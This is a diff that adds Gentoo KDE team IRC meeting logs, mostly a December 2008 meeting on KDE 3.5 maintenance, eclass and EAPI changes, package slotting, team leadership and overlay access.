+[Do Mär 6 2008] [22:06:04] <Philantrop>	deathwing00: That was my dark intention. :-)
+[Do Mär 6 2008] [22:06:21] <deathwing00>	:)
+[Do Mär 6 2008] [22:07:04] <keytoaster>	okay, zlin forced me to say that I vote for philantrop and against a sub-lead
+[Do Mär 6 2008] [22:07:37] <Philantrop>	LOL
+[Do Mär 6 2008] [22:07:37] <keytoaster>	err
+[Do Mär 6 2008] [22:07:44] <keytoaster>	s/.*I vote/I vote/
+[Do Mär 6 2008] [22:07:52] <deathwing00>	keytoaster: noted
+[Do Mär 6 2008] [22:09:35] <brot>	ehrm, when will the 4.0.2 ebuilds be in portage ?
+[Do Mär 6 2008] [22:09:44] <deathwing00>	Philantrop: I'll post the most interesting things on our forums btw :)
+[Do Mär 6 2008] [22:09:49] 	 * brot ducks
+[Do Mär 6 2008] [22:10:09] <Philantrop>	deathwing00: Thanks! :-) Please let me know the link. :-)
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20081204.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20081204.txt
new file mode 100644
index 00000000..e4c2b609
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20081204.txt
@@ -0,0 +1,641 @@
+2008 Dec 04 20:01:04  <scarabeus> http://dev.gentoo.org/~scarabeus/kde_meeting0812.txt
+2008 Dec 04 20:01:11  <scarabeus> time is here
+2008 Dec 04 20:01:13  <scarabeus> so who is around?
+2008 Dec 04 20:01:23  -*- tampakrap 
+2008 Dec 04 20:01:26  -*- bonsaikitten 
+2008 Dec 04 20:01:43  <scarabeus> !herd kde
+2008 Dec 04 20:01:44  <Willikins> (kde) caleb, carlo, cryos, deathwing00, genstef, jmbsvicetto, keytoaster, mattepiu, scarabeus, tgurr
+2008 Dec 04 20:01:54  <scarabeus> guys you should all show up :]
+2008 Dec 04 20:01:54  -*- krytzz 
+2008 Dec 04 20:02:01  <keytoaster> hi there!
+2008 Dec 04 20:02:22  -*- jmbsvicetto 
+2008 Dec 04 20:02:40  <scarabeus> krytzz, Sput: you two around?
+2008 Dec 04 20:02:42  -*- cryos|work is here
+2008 Dec 04 20:02:49  <krytzz> yes
+2008 Dec 04 20:03:20  <scarabeus> ok i think that is most we can get, any words from others, stating that they show up too?
+2008 Dec 04 20:03:35  <jmbsvicetto> scarabeus: No idea
+2008 Dec 04 20:03:49  <bonsaikitten> I guess we should let their backlog do its work ;)
+2008 Dec 04 20:04:02  <jmbsvicetto> scarabeus: About your agenda, we should start with a "simple" point - who is still working / willing to work with KDE 3.5
+2008 Dec 04 20:04:10  <tampakrap> me
+2008 Dec 04 20:04:15  <jmbsvicetto> bonsaikitten: That doesn't work with caleb and carlo ;)
+2008 Dec 04 20:04:28  <cryos|work> I am somewhat, but with limited time...
+2008 Dec 04 20:04:31  <bonsaikitten> as long as it is only ebuild maintenance and not C++ stabbing I'm willing to keep it alive
+2008 Dec 04 20:04:41  <bonsaikitten> but I have no interest in 3.5 anymore :)
+2008 Dec 04 20:04:48  <tampakrap> i said i still use kde3 in my main desktop and wanted to have various tests about that and check bugs of course
+2008 Dec 04 20:04:54  <tampakrap> but i was busy with the quiz
+2008 Dec 04 20:04:55  -*- cryos|work has waning interest in it...
+2008 Dec 04 20:05:18  <bonsaikitten> our users want it, so those primitives have to be kept happy ;)
+2008 Dec 04 20:05:41  <scarabeus> yes i would say it is requirement to have kde3 around until kde4.3
+2008 Dec 04 20:05:42  --> MartyMcFly (n=martin@dslb-088-064-190-153.pools.arcor-ip.net) has joined #gentoo-kde
+2008 Dec 04 20:06:00  <bonsaikitten> maybe even longer. if 3.5 is stable enough maintenance should be cheap
+2008 Dec 04 20:06:01  <krytzz> yes
+2008 Dec 04 20:06:03  <jmbsvicetto> I'm not saying we should drop 3.5, I'm asking who is willing to keep it alive ;)
+2008 Dec 04 20:06:05  <cryos|work> Quite probably, but it is essentially dead upstream.
+2008 Dec 04 20:06:07  <scarabeus> jkt|: maybe you will be interested in this too
+2008 Dec 04 20:06:20  -=- hwoarang is now known as hwo[a]rang
+2008 Dec 04 20:06:25  <cryos|work> I will do what I can to help.
+2008 Dec 04 20:06:28  <jmbsvicetto> Also, who is willing to work on the issues caused by the mixing of 3.5 with 4
+2008 Dec 04 20:06:44  <tampakrap> me :)
+2008 Dec 04 20:06:44  <cryos|work> I have noted many distros already dropping it in new releases. Just keeping unported apps around.
+2008 Dec 04 20:07:08  <scarabeus> cryos|work: people would hate us, kde4 is not yet ready, even i miss some features
+2008 Dec 04 20:07:10  <bonsaikitten> I guess all of us will be hybrid users as noone goes back to a 3.5 desktop anymore :)
+2008 Dec 04 20:07:16  <cryos|work> I will help when I can, I think I may have neglected to pick up all the pieces...
+2008 Dec 04 20:07:34  --> reavertm (n=maciek@bcv18.neoplus.adsl.tpnet.pl) has joined #gentoo-kde
+2008 Dec 04 20:07:34  <bonsaikitten> cryos|work: life happened. don't beat yourself up for that :)
+2008 Dec 04 20:07:48  <cryos|work> scarabeus: I am not talking about dropping it, I am however pointing out the deadness of upstream in that sense and what other distros are tending to do.
+2008 Dec 04 20:08:08  <scarabeus> i understand.
+2008 Dec 04 20:08:12  <cryos|work> Thanks bonsaikitten ;-)
+2008 Dec 04 20:08:13  <reavertm> (if I'm out again it means my hardware is failing again, don't bother)
+2008 Dec 04 20:08:17  <-- duog (n=doug@78-86-178-196.zone2.bethere.co.uk) has quit (Remote closed the connection)
+2008 Dec 04 20:08:22  <cryos|work> We should keep an eye on what is happening elsewhere.
+2008 Dec 04 20:08:22  -=- Mode #gentoo-kde [+v reavertm] by scarabeus
+2008 Dec 04 20:08:35  <bonsaikitten> so we'll keep it alive, but there's a good chance we won't give it high priority
+2008 Dec 04 20:09:03  <scarabeus> agreed, on low priority i think we can handle this, and we should be closing up enhancement request for kde3
+2008 Dec 04 20:09:10  <scarabeus> since it would be just pointless work
+2008 Dec 04 20:09:24  <-- hvengel (n=hvengel@astound-66-234-194-11.ca.astound.net) has quit (Read error: 110 (Connection timed out))
+2008 Dec 04 20:09:42  <bonsaikitten> mostly agree
+2008 Dec 04 20:09:53  <reavertm> kde page stated along with some kde4 release announcement: "Don't look back" :)
+2008 Dec 04 20:09:55  <tampakrap> after all kde4.2 is close and will be stable enough
+2008 Dec 04 20:10:31  <scarabeus> ok so lets mark kde3 as work for cryos and tampakrap, i think you two can talk out what is needed on that field
+2008 Dec 04 20:10:38  <scarabeus> anyone else willing to jump on kde3?
+2008 Dec 04 20:10:57  <tampakrap> i don't think we need more people
+2008 Dec 04 20:11:05  <tampakrap> let's focus on kde4 "the future"
+2008 Dec 04 20:11:09  <jmbsvicetto> cryos|work: Yes, a dead upstream (3.5) and their lack of work to keep more than one version around are the most important cause of the open bugs - imho
+2008 Dec 04 20:11:43  <-- St_MPA3b (n=quassel@gregory51.dialup.corbina.ru) has quit ("http://quassel-irc.org - Chat comfortably. Anywhere.")
+2008 Dec 04 20:11:49  <cryos|work> jmbsvicetto: Certainly, and so the distros are forced to move along with them unless they have considerable resources.
+2008 Dec 04 20:11:55  --> St_MPA3b (n=quassel@gregory51.dialup.corbina.ru) has joined #gentoo-kde
+2008 Dec 04 20:12:01  <reavertm> well, upstream simply has no manpower to maintaint both
+2008 Dec 04 20:12:07  <bonsaikitten> cryos|work: never underestimate gentoo users ;)
+2008 Dec 04 20:12:07  <cryos|work> There was some talk of a distro maintained patch set but I haven't seen mention of it recently.
+2008 Dec 04 20:12:24  <scarabeus> cryos|work: ask arch linux team
+2008 Dec 04 20:12:25  <jmbsvicetto> cryos|work: For 3.5?
+2008 Dec 04 20:12:31  <scarabeus> they have probably best kde3 team around
+2008 Dec 04 20:12:33  <scarabeus> currently
+2008 Dec 04 20:12:43  <scarabeus> their kdemod is epic
+2008 Dec 04 20:13:06  <St_MPA3b> htmlhandbook provides whole help or only some additional files?
+2008 Dec 04 20:13:20  <scarabeus> St_MPA3b: whole help
+2008 Dec 04 20:13:33  <St_MPA3b> scarabeus: thanks
+2008 Dec 04 20:13:55  <jmbsvicetto> scarabeus: talking about htmlhandbook, I ended up not moving it away from ebuilds and into the eclass :\
+2008 Dec 04 20:13:57  <St_MPA3b> scarabeus: and there are currently no file collisions if htmlhandbook is turned off?
+2008 Dec 04 20:15:11  <St_MPA3b> in @kde-live
+2008 Dec 04 20:15:30  <scarabeus> jmbsvicetto: well that goes for next point of meeting
+2008 Dec 04 20:15:33  <scarabeus> kde4 eclasses
+2008 Dec 04 20:15:40  <scarabeus> i heavily rewrote them
+2008 Dec 04 20:15:48  <scarabeus> applied some suggestions from jmbsvicetto
+2008 Dec 04 20:15:53  <reavertm> (again?)
+2008 Dec 04 20:15:55  --> breiti (n=breiti@p5DD69917.dip0.t-ipconnect.de) has joined #gentoo-kde
+2008 Dec 04 20:15:57  <scarabeus> any moar points to them
+2008 Dec 04 20:16:04  <St_MPA3b> when there will be commit?
+2008 Dec 04 20:16:13  <scarabeus> reavertm: they are still the same, it was not yet accepted.
+2008 Dec 04 20:16:52  <cryos|work> So what are the main changes made?
+2008 Dec 04 20:17:12  <scarabeus> mostly we allow dynamic detection for kde4
+2008 Dec 04 20:17:23  <scarabeus> so apps can work with kde4.1 and kde4.2 and live
+2008 Dec 04 20:17:25  <scarabeus> no matter what
+2008 Dec 04 20:17:32  <St_MPA3b> nice
+2008 Dec 04 20:17:32  <scarabeus> eclasses handles all deps correctly
+2008 Dec 04 20:17:40  <scarabeus> also i removed most of not required code
+2008 Dec 04 20:17:41  <cryos|work> Which one are they linking too/building against?
+2008 Dec 04 20:17:45  <jmbsvicetto> This is a bad thing(tm) in design, but I don't have a better alternative
+2008 Dec 04 20:18:21  <scarabeus> cryos|work: well now you can specify which kde it needs as minimal and then specify search order for other kde versions
+2008 Dec 04 20:18:26  <scarabeus> basicly it preffers -kdeprefix
+2008 Dec 04 20:18:34  <reavertm> (actually one guy had problems with updating from 4.1.2 to 4.1.3 with -kdeprefix using portage eclasses and kde-crazy ones didn't help
+2008 Dec 04 20:18:45  <cryos|work> If they build/link against the latest version installed, they may not link to an earlier version, if it builds against old that doesn't have new symbols it won't compile.
+2008 Dec 04 20:18:46  <reavertm> it may still need some checks
+2008 Dec 04 20:19:12  <scarabeus> cryos|work: that all can be ebuld specified
+2008 Dec 04 20:19:21  <-- mx-tvt (n=costa@175.230.54.77.rev.vodafone.pt) has quit (Remote closed the connection)
+2008 Dec 04 20:19:23  <cryos|work> That is why I have always erred on the side of saying this is possible but a support nightmare.
+2008 Dec 04 20:19:37  <scarabeus> reavertm: he had fucked up kdesvn eclasses i guess, since we used that slot loong ago
+2008 Dec 04 20:19:41  <cryos|work> If it seems to work that is great though.
+2008 Dec 04 20:19:55  <scarabeus> yeah it works for all overlay guys
+2008 Dec 04 20:20:06  <scarabeus> and also my eclass supports koffice
+2008 Dec 04 20:20:07  <cryos|work> I think in general they should build/link against oldest installed version that satisfies the deps.
+2008 Dec 04 20:20:13  <scarabeus> which i can maintain with bonsaikittens help
+2008 Dec 04 20:20:17  <scarabeus> if he is still interested
+2008 Dec 04 20:20:19  <cryos|work> If KDE devs did their job well it will link to the latest version.
+2008 Dec 04 20:20:21  <scarabeus> koffice2
+2008 Dec 04 20:20:41  <krytzz> i could help there too a little bit
+2008 Dec 04 20:20:41  <scarabeus> cryos|work: that is default behavior
+2008 Dec 04 20:20:42  <cryos|work> So if we are planning on supporting it that should be the default behaviour.
+2008 Dec 04 20:20:52  <cryos|work> That sounds good to me then.
+2008 Dec 04 20:21:00  <jmbsvicetto> scarabeus: There are a few things about get_latest_kdedir. That function shouldn't have hardcoded version strings - they should instead be defined in a var like KDE_SLOTS
+2008 Dec 04 20:21:02  <scarabeus> but dev can specify other order in ebuild
+2008 Dec 04 20:21:31  <cryos|work> OK, but I would discourage them from doing that unless they have an amazing reason to do so.
+2008 Dec 04 20:21:33  <scarabeus> jmbsvicetto: well enjoy its updating :] i will be hapy to see help from others :], i have no idea how to use it best, so i did it this way
+2008 Dec 04 20:21:50  <scarabeus> cryos|work: all written in comments for those variables
+2008 Dec 04 20:21:56  <jmbsvicetto> scarabeus: Yeah, I'll see what I can do about it
+2008 Dec 04 20:22:52  <cryos|work> Sounds fine, we just need to stick to some policies for in tree stuff at least.
+2008 Dec 04 20:23:08  <jmbsvicetto> scarabeus / cryos|work: Most of the issues that we're having (besides the linking to a versioned dir) is that upstream is breaking ABI continuously for KDE4, right?
+2008 Dec 04 20:23:09  <scarabeus> i use it for in tree stuff just fine
+2008 Dec 04 20:23:14  --> NSaibot (n=quassel@i3ED6C704.versanet.de) has joined #gentoo-kde
+2008 Dec 04 20:23:18  <scarabeus> jmbsvicetto: right
+2008 Dec 04 20:23:33  <-- NSaibot (n=quassel@i3ED6C704.versanet.de) has quit (Remote closed the connection)
+2008 Dec 04 20:23:46  <scarabeus> cryos|work: i will run some test tomorow and fix all remaining compatibility problems
+2008 Dec 04 20:24:10  <cryos|work> jmbsvicetto: Yeah, but they promised not to after 4.1. I guess they are failing...
+2008 Dec 04 20:24:23  --> non7top (n=non7top@77.66.156.160) has joined #gentoo-kde
+2008 Dec 04 20:24:25  <jmbsvicetto> Oh, an important point about the eclasses - are we ready to block kde4 eclasses for EAPI-0 and EAPI-1?
+2008 Dec 04 20:24:30  <cryos|work> I am talking at Camp KDE 2009 too - KDE and Gentoo.
+2008 Dec 04 20:24:43  <krytzz> cool ^^
+2008 Dec 04 20:24:47  <scarabeus> i volte for only eapi2
+2008 Dec 04 20:24:54  --> NSaibot (n=quassel@i3ED6C704.versanet.de) has joined #gentoo-kde
+2008 Dec 04 20:24:57  <jmbsvicetto> scarabeus: EAPI-2 or later ;)
+2008 Dec 04 20:25:00  <scarabeus> yes
+2008 Dec 04 20:25:39  <cryos|work> Can we block change the EAPI on an existing in tree e-class? Don't we need to maintain backwards compatibility on eclasses?
+2008 Dec 04 20:26:08  <cryos|work> That is a question as I can't remember what the policy is.
+2008 Dec 04 20:26:09  <scarabeus> cryos|work: well packages will be broken if they use eapi lower than 2 and our eclass even currently
+2008 Dec 04 20:26:13  <scarabeus> so we should block it
+2008 Dec 04 20:26:24  <jmbsvicetto> That would allow us to drop the QT4_BUILT_WITH_USE_CHECK, KDE4_BUILT_WITH_USE_CHECK and friends
+2008 Dec 04 20:26:33  <-- fedux (n=fedux@host157.190-137-19.telecom.net.ar) has quit ("Saliendo")
+2008 Dec 04 20:26:57  <jmbsvicetto> cryos|work: I'll confirm it with zmedico, but iirc the eclasses are now saved to vdb
+2008 Dec 04 20:27:13  <cryos|work> I am just not certain we can do that, but I could be wrong. An eclass that used to work with a version of portage should at least work to uninstall said ebuild.
+2008 Dec 04 20:27:14  <scarabeus> and no eapi1 package currently uses our eclass
+2008 Dec 04 20:27:38  <cryos|work> If the policy has changed due to portage changes then fine, but last I checked it had not.
+2008 Dec 04 20:27:47  <jmbsvicetto> cryos|work: I'll be sure to check it
+2008 Dec 04 20:27:50  <cryos|work> You could leave empty functions there, but they had to remain there.
+2008 Dec 04 20:28:14  <cryos|work> So that it is possible to uninstall the cached ebuild that didn't cache its eclass.
+2008 Dec 04 20:28:16  -*- jmbsvicetto mumbles - versioned eclasses
+2008 Dec 04 20:28:29  -*- cryos|work thinks versioning should be used.
+2008 Dec 04 20:28:29  <jmbsvicetto> cryos|work: understood
+2008 Dec 04 20:28:37  <cryos|work> It would get rid of many of these concerns.
+2008 Dec 04 20:29:00  <scarabeus> ok this could be handled later, jmbsvicetto can i wrote you as man taking care of eapi2only?
+2008 Dec 04 20:29:03  <cryos|work> We have what we have and I didn't want changes to hose peoples systems.
+2008 Dec 04 20:29:59  <-- kaffeedoktor (n=kaffeedo@rps3741.ovh.net) has quit (Remote closed the connection)
+2008 Dec 04 20:30:24  --> kaffeedoktor (n=kaffeedo@rps3741.ovh.net) has joined #gentoo-kde
+2008 Dec 04 20:30:35  <scarabeus> ok for next issue i see is wrong SLOT for our kde4 packages in the tree
+2008 Dec 04 20:30:41  <jmbsvicetto> scarabeus: sure
+2008 Dec 04 20:30:41  <scarabeus> how to deal that
+2008 Dec 04 20:30:51  <scarabeus> i did something that should work for ktorrent
+2008 Dec 04 20:30:59  <krytzz> hm ill have a look
+2008 Dec 04 20:31:01  <scarabeus> but i hope there will be better solution for the others
+2008 Dec 04 20:31:12  <jmbsvicetto> scarabeus: what "wrong" slot?
+2008 Dec 04 20:31:16  <scarabeus> they use 4.1
+2008 Dec 04 20:31:21  -*- cryos|work is confused too.
+2008 Dec 04 20:31:25  <scarabeus> what used to mark kde they work
+2008 Dec 04 20:31:34  <scarabeus> but with new eclasses they should be marked as app version
+2008 Dec 04 20:31:36  <scarabeus> not slot of kde
+2008 Dec 04 20:31:53  <cryos|work> What app version?
+2008 Dec 04 20:32:00  <scarabeus> for example
+2008 Dec 04 20:32:04  <scarabeus> ktorrent has version 3
+2008 Dec 04 20:32:07  <scarabeus> and 2
+2008 Dec 04 20:32:10  <scarabeus> in the tree
+2008 Dec 04 20:32:15  <scarabeus> so 2 is slot:0
+2008 Dec 04 20:32:19  <scarabeus> and 3 is slot:3
+2008 Dec 04 20:32:25  <scarabeus> but now it was slot:4.1
+2008 Dec 04 20:32:28  <jmbsvicetto> cryos|work: I know what he means
+2008 Dec 04 20:32:34  <reavertm> 2 is for kde3?
+2008 Dec 04 20:32:39  <scarabeus> reavertm: yes
+2008 Dec 04 20:32:43  <jmbsvicetto> cryos|work: The code used to apply only for packages in kde-base, that restriction was removed
+2008 Dec 04 20:32:54  <cryos|work> Can the two actually be slotted?
+2008 Dec 04 20:33:02  <jmbsvicetto> That is another issue
+2008 Dec 04 20:33:05  <reavertm> isn't this an issue only for -kdeprefix?
+2008 Dec 04 20:33:08  <cryos|work> Is it wise to remove the restriction?
+2008 Dec 04 20:33:21  <cryos|work> Are they all going into kdeprefix now?
+2008 Dec 04 20:33:22  <scarabeus> cryos|work: yes it is working as charm :]
+2008 Dec 04 20:33:34  <jmbsvicetto> cryos|work: probably not, but it was done to enforce the use of prefix in kde-misc
+2008 Dec 04 20:33:34  <scarabeus> cryos|work: yes all packages sets themself based on kdeprefix
+2008 Dec 04 20:33:50  <reavertm> I mean, if kde3 apps are going to /usr/kde/3.5 soon, there should be no issue anymore
+2008 Dec 04 20:34:20  <jmbsvicetto> reavertm: That means we'll get with the kde3 apps the same issue we currently have with kde4 apps - they stop working after you bump kde version
+2008 Dec 04 20:34:23  <cryos|work> What about with -kdeprefix? They are still good I assume?
+2008 Dec 04 20:34:40  <jmbsvicetto> The slot is changed, but the install location is still /usr
+2008 Dec 04 20:35:01  <reavertm> well, kde3 will be no longer revbumped I'm afraid
+2008 Dec 04 20:35:02  <cryos|work> So they do the funky blocker that allows simulataneous files that collide,
+2008 Dec 04 20:35:15  <jmbsvicetto> cryos|work: yes - that needs to be fixed
+2008 Dec 04 20:35:22  <krytzz> jmbsvicetto hm i thought every future version of ktorrent for example it stays in the 3 slot right?
+2008 Dec 04 20:35:33  <scarabeus> cryos|work: i will give you my list of thoughts for kde3
+2008 Dec 04 20:35:38  <krytzz> and with the other extragear apps too
+2008 Dec 04 20:35:57  <scarabeus> cryos|work: http://dev.gentoo.org/~scarabeus/kde3-misc_packages.txt
+2008 Dec 04 20:36:06  <jmbsvicetto> with scarabeus update yes. It was going to be 4.X without it
+2008 Dec 04 20:36:07  <scarabeus> krytzz: yep
+2008 Dec 04 20:36:12  <cryos|work> If you are installing the app into the kdeprefix then it makes sense for it to share the slot of the prefix dir it goes into.
+2008 Dec 04 20:36:28  <-- deathwing00 (n=deathwin@gentoo/developer/Deathwing00) has quit ("Leaving.")
+2008 Dec 04 20:36:32  <scarabeus> cryos|work: well it can go to -kdeprefix too
+2008 Dec 04 20:36:35  <jmbsvicetto> cryos|work: That was my thought, but now I have my doubts
+2008 Dec 04 20:36:51  <scarabeus> and you cant make dynamic slot
+2008 Dec 04 20:37:03  <jmbsvicetto> cryos|work: amarok stopped working here with 4.1.80 because it was installed with 4.1.3, even though I still have 4.1.3 around
+2008 Dec 04 20:37:07  <scarabeus> sice ktorrent-3.1 now can go intoo 4.1 4.2 and live dirs
+2008 Dec 04 20:37:20  <cryos|work> That is why I have always had my doubts about slotting apps not released with the main KDE modules, you have to make artificial bumps I guess to other packages?
+2008 Dec 04 20:37:40  <cryos|work> How does ktorrent decide which prefix to install to?
+2008 Dec 04 20:37:40  <jmbsvicetto> cryos|work: at this point I really don't know what to do
+2008 Dec 04 20:38:05  <krytzz> :(
+2008 Dec 04 20:38:07  <cryos|work> This scheme sounds really messy, but I haven't been using it and so don't know what to say.
+2008 Dec 04 20:38:16  <jmbsvicetto> cryos|work: One idea that crossed my mind was to install these apps into /usr/kde/apps/${PN}/${PV}
+2008 Dec 04 20:38:24  <reavertm> the easiest would be to allow only one KDE4 installed...
+2008 Dec 04 20:38:41  -*- cryos|work kinda suggested that...
+2008 Dec 04 20:38:48  <jmbsvicetto> but scarabeus tried doing that and couldn't get it working with symlinks
+2008 Dec 04 20:38:58  <scarabeus> yeah i failed there too much
+2008 Dec 04 20:39:03  <scarabeus> it was not working for me
+2008 Dec 04 20:39:10  <cryos|work> Having so many options can be extremely tough to support.
+2008 Dec 04 20:39:13  <scarabeus> feel free to do it again for yourself
+2008 Dec 04 20:39:21  <scarabeus> cryos|work: i know :(
+2008 Dec 04 20:40:06  <cryos|work> That is why many distros choose not to do this, and it has bitten us many times in the past. 3.5 is simpler now due to no more bumps.
+2008 Dec 04 20:40:11  <jmbsvicetto> cryos|work: This is another case were the real solution would be for upstream to think about this and provide a solution for having multiple versions in the same prefix
+2008 Dec 04 20:40:36  <scarabeus> we should try to push versioning on upstream
+2008 Dec 04 20:40:40  <scarabeus> that is not bad idea
+2008 Dec 04 20:40:41  <cryos|work> I agree with you entirely
+2008 Dec 04 20:40:55  <krytzz> has anyone asked for this already?
+2008 Dec 04 20:41:07  <jmbsvicetto> cryos|work: You've talked before with upstream about this, haven't you?
+2008 Dec 04 20:41:12  <cryos|work> I do think having multiple minor versions available to people who do not really know what they are doing is possibly a recipe for failure...
+2008 Dec 04 20:41:28  <cryos|work> jmbsvicetto: Yes, and I will probably talk about it again at Camp KDE in January.
+2008 Dec 04 20:41:48  <cryos|work> Many other distro developers also very much wanted this, and to a degree it works.
+2008 Dec 04 20:41:56  <jmbsvicetto> Didn't you have a presentation you did about this issue?
+2008 Dec 04 20:41:57  <cryos|work> Not to the degree Gentoo would like though.
+2008 Dec 04 20:42:08  <cryos|work> Yes - it is on my blog somewhere.
+2008 Dec 04 20:42:22  <jmbsvicetto> That should be an interesting reading for people in the team
+2008 Dec 04 20:42:49  <-- MartyMcFly (n=martin@dslb-088-064-190-153.pools.arcor-ip.net) has quit (Remote closed the connection)
+2008 Dec 04 20:43:03  <scarabeus> yeah i would like to see it :]
+2008 Dec 04 20:43:23  <krytzz> hm but with -kdeprefix there is no problem then... if the ABI is stable
+2008 Dec 04 20:43:38  <cryos|work> http://blog.cryos.net/archives/146-Gentoo-KDE-Talk-at-aKademy.html
+2008 Dec 04 20:44:58  <scarabeus> ok next point is more nice and all developers are needed: we need some lead, so people can oficialy find one, /me is proposing jmbsvicetto O:P (meantime looking on presentation on second monitor)
+2008 Dec 04 20:45:00  <cryos|work> I will be preparing half of the talk for the KDE and distros talk in January - so let me know if there are things you would like to be raised.
+2008 Dec 04 20:45:46  -*- cryos|work never really saw the need for the hierarchy in small herds, but whatever makes you happy.
+2008 Dec 04 20:46:23  --> Scorcere1 (n=Scorek@77-87-120-128.rev.masterkom.pl) has joined #gentoo-kde
+2008 Dec 04 20:46:28  <cryos|work> The KDE herd didn't have a lead for years and flourished, then dwindled... It is all about building a friendly community (lead or no).
+2008 Dec 04 20:46:58  <jmbsvicetto> I agree with cryos|work about having a friendly community
+2008 Dec 04 20:47:00  <krytzz> i have nothing against it :p
+2008 Dec 04 20:47:05  <scarabeus> :D
+2008 Dec 04 20:47:31  <jmbsvicetto> Oh and I'm not that eager to get the "lead" hat :P
+2008 Dec 04 20:47:32  <scarabeus> i dont mind how this will evolve so i leave this one definetly up to all
+2008 Dec 04 20:47:44  <scarabeus> jmbsvicetto: yeah i am pretty sure of this :D
+2008 Dec 04 20:47:54  <scarabeus> noone wants to be lead i would say
+2008 Dec 04 20:47:56  <tampakrap> i think we should have a leader just as the other herds do
+2008 Dec 04 20:48:05  <tampakrap> not because we need someone to decide
+2008 Dec 04 20:48:16  <jmbsvicetto> A quick note - team and not herd :P
+2008 Dec 04 20:48:27  <jmbsvicetto> We're talking about the people and not about the packages ;)
+2008 Dec 04 20:48:41  <tilya> i will be the queen ;)
+2008 Dec 04 20:48:41  <scarabeus> jmbsvicetto: herd is missused for this for so long...
+2008 Dec 04 20:48:44  --> dagger (n=dagger@piasek.co.uk) has joined #gentoo-kde
+2008 Dec 04 20:49:06  <scarabeus> i think word herd needs redefinition but it is not on todays topic
+2008 Dec 04 20:49:12  -*- cryos|work never got why people were so picky about the words used, is it really a herd of packages? :D
+2008 Dec 04 20:49:34  <krytzz> a bunch of packages
+2008 Dec 04 20:49:35  <scarabeus> ok so no lead for now, when times change jmbsvicetto is first on the row :P
+2008 Dec 04 20:49:41  <krytzz> gentoo kde-bunch-of-people
+2008 Dec 04 20:49:56  <cryos|work> It is work time for me over here, I could do with getting stuff done soon. So I may leave in 5-10 mins.
+2008 Dec 04 20:49:59  <jmbsvicetto> moving on to other not so pleasant topic, I think we need to look at the team members again - afaik, we have people listed in the kde page that haven't done anything kde related for many, many months
+2008 Dec 04 20:50:06  <-- comawhite (n=comawhit@unaffiliated/comawhite) has quit ("Leaving")
+2008 Dec 04 20:50:26  --> tgurr (n=tgurr@gentoo/developer/tgurr) has joined #gentoo-kde
+2008 Dec 04 20:50:26  -=- Mode #gentoo-kde [+o tgurr] by ChanServ
+2008 Dec 04 20:50:36  <jmbsvicetto> Hi tgurr 
+2008 Dec 04 20:50:40  <scarabeus> agreed, we should clean it up, ask everyone if they are willing to do something and so on (does not count for people that are mentioned away)
+2008 Dec 04 20:50:46  <tgurr> jmbsvicetto: hi
+2008 Dec 04 20:50:58  <-- erulabs (n=seandon@net-cf9a4013.noc.impulse.net) has quit ("Leaving.")
+2008 Dec 04 20:51:05  <-- JaMa (n=JaMa@chaos.mk.cvut.cz) has quit (Remote closed the connection)
+2008 Dec 04 20:51:32  <jmbsvicetto> Getting to the same old same, it would help if all the members would be willing to join irc, but I don't have any illusions about getting some people in here
+2008 Dec 04 20:51:50  <scarabeus> jmbsvicetto: are you willing to mail them
+2008 Dec 04 20:52:06  <jmbsvicetto> About being team members, sure?
+2008 Dec 04 20:52:11  <scarabeus> ok
+2008 Dec 04 20:52:16  <scarabeus> i am writing up notes
+2008 Dec 04 20:52:20  <scarabeus> so we have them after end
+2008 Dec 04 20:52:21  <scarabeus> :]
+2008 Dec 04 20:52:38  <scarabeus> about members
+2008 Dec 04 20:52:42  <scarabeus> we have problem in qt herd
+2008 Dec 04 20:52:46  <scarabeus> it is just yngwin 
+2008 Dec 04 20:53:00  <scarabeus> how to get some qt devepoer :]
+2008 Dec 04 20:53:05  <jmbsvicetto> I can even do something better, send a mail to the kde alias and ask everyone for a little introspection and to let us know if they're still part of the team and or want to be part of the team ;)
+2008 Dec 04 20:53:20  <scarabeus> jmbsvicetto: that i leave up to you :]
+2008 Dec 04 20:53:22  <jmbsvicetto> scarabeus: I thought carlo and caleb where still in the team
+2008 Dec 04 20:53:39  <yngwin> they are but they are inactive and non-responsive
+2008 Dec 04 20:53:40  <scarabeus> did you hear/see some commits from them in last month/2
+2008 Dec 04 20:53:41  <jmbsvicetto> scarabeus: with the obvious reservations about the above point
+2008 Dec 04 20:53:56  <jmbsvicetto> yngwin: ok, just wanted to confirm
+2008 Dec 04 20:54:04  <scarabeus> reavertm: maybe you might be interested
+2008 Dec 04 20:54:11  <reavertm> well, no major qt release recently so they may just wait for 4.5
+2008 Dec 04 20:54:21  <jmbsvicetto> yngwin: I'll talk to you about qt
+2008 Dec 04 20:54:22  <reavertm> in qt maintenance a bit?
+2008 Dec 04 20:54:28  <scarabeus> and that reminds me, yngwin should get commit acces to kde-crazy
+2008 Dec 04 20:54:32  <scarabeus> reavertm: yes
+2008 Dec 04 20:54:57  <jmbsvicetto> yngwin: do you have access to kde-testing? If not, you should also have it
+2008 Dec 04 20:54:58  <krytzz> does bonsaikitten have access? :p
+2008 Dec 04 20:55:11  <yngwin> jmbsvicetto: i dont
+2008 Dec 04 20:55:16  <scarabeus> krytzz: silence there! ;D
+2008 Dec 04 20:55:21  <yngwin> unless i do but dont know it 
+2008 Dec 04 20:55:33  <reavertm> hmm, well I can try by forget about Qt from Trolltech svn fro bow - they shit svn only as daily snapshots via rsync
+2008 Dec 04 20:55:37  <jmbsvicetto> bonsaikitten: I forgot to tell you, but robbat2 replied to me earlier saying you should have access now
+2008 Dec 04 20:55:46  <bonsaikitten> jmbsvicetto: ok, let me try :)
+2008 Dec 04 20:55:57  <reavertm> for now^^
+2008 Dec 04 20:55:58  <bonsaikitten> also, phonecall, I kinda missed the last half hour or so
+2008 Dec 04 20:56:01  <jmbsvicetto> ok, my purpose with the kde-* overlays was for everyone on the team to have access to them
+2008 Dec 04 20:56:10  <scarabeus> yeah agreed
+2008 Dec 04 20:56:36  <jmbsvicetto> I initially asked jokey to grant access to everyone at the time in the team. I haven't followed it through, so I'll talk to robbat2 again asking for an update about the current status
+2008 Dec 04 20:56:52  <scarabeus> and i took the liberty and added yngwin to team list on kde page, since it is project page for qt and kde, not only kde, i think i forget to mention that before for that i am ashamed
+2008 Dec 04 20:57:05  <yngwin> ok tnx
+2008 Dec 04 20:57:18  <yngwin> maybe i should get op status here then as well
